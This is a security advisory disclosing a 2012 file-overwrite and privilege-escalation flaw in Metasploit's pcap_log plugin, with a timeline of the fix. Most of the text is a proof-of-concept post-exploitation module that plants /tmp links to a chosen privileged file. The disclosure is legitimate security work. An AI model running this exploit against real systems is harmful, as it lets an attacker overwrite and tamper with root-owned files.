================
0A29-12-2 : Metasploit 'pcap_log' plugin privilege escalation vulnerability
Author: 0a29406d9794e4f9b30b3c5d6702c708
twitter.com/0a29 - 0a29.blogspot.com - GMail 0a2940
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Description:
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Metasploit plugin 'pcap_log' is vulnerable to an arbitrary file overwrite bug
which can further be leveraged to insert user-controlled data resulting in
potential escalation of privileges
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Timeline:
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16 July 2012 - Reported
16 July 2012 - Acknowledged & fixed by HD Moore
https://github.com/rapid7/metasploit-framework/commit/428a98c1d1d5341d32ffe0ed380d06a327ed2740
16 July 2012 - Public disclosure
http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html
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Details:
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By default the pcap_log plugin (plugins/pcap_log.rb) logs pcap to a file like
'/tmp/msf3-session_2012-07-16_15-15-35.pcap'. This is of course is
predictable so a simple 'ln' in advance to a privileged file will
result in arbitrary file overwrite. The module has to run as root.
Here's the fun part - by sending packets we can then insert our own
content into any file (surrounded by pcap headers and all
the other packets)
======
Sample PoC (needs work)
modules/post/linux/exploit/metasploit_pcaplog.rb
======
# $Id$
##
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/system'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Linux::System
def initialize(info={})
super( update_info( info,
'Name' => 'Metasploit plugin "pcap_log"
arbirary file overwrite / privilege escalation',
'Description' => %q{ Post exploitation module to
exploit 0A29-12-2, a vulnerability in metasploit pcap_log plugin.
Depending on the file you choose to
overwrite, you will need to netcat/telnet etc. the data
that you wish to appear in the file.},
'License' => MSF_LICENSE,
'Author' => [ '0a29406d9794e4f9b30b3c5d6702c708'],
'Version' => '$Revision$',
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'URL',
'http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html'
],
[ 'URL',
'https://github.com/rapid7/metasploit-framework/commit/428a98c1d1d5341d32ffe0ed380d06a327ed2740'
]
],
'DisclosureDate'=> "July 16 2012"
))
register_options([
OptInt.new('NUMBER', [true, 'Number of seconds to prime
/tmp/ with', nil]),
OptString.new('FILE', [true, 'File to
overwrite with PCAP data', nil]),
], self.class)
end
def link(t)
file_part = "%s_%04d-%02d-%02d_%02d-%02d-%02d.pcap" % [
"msf3-session", t.year, t.month, t.mday, t.hour,
t.min, t.sec
]
fname = ::File.join("/tmp", file_part)
retval = session.shell_command("/bin/ln #{datastore['FILE']} #{fname}")
end
# Run Method for when run command is issued
def run
for i in 0..(datastore['NUMBER'])
link(Time.now+1)
end
print_status("Set #{datastore['NUMBER']} links.")
end
def cleanup
print_status("Manual cleanup required: rm -f /tmp/msf3-session*")
end
end
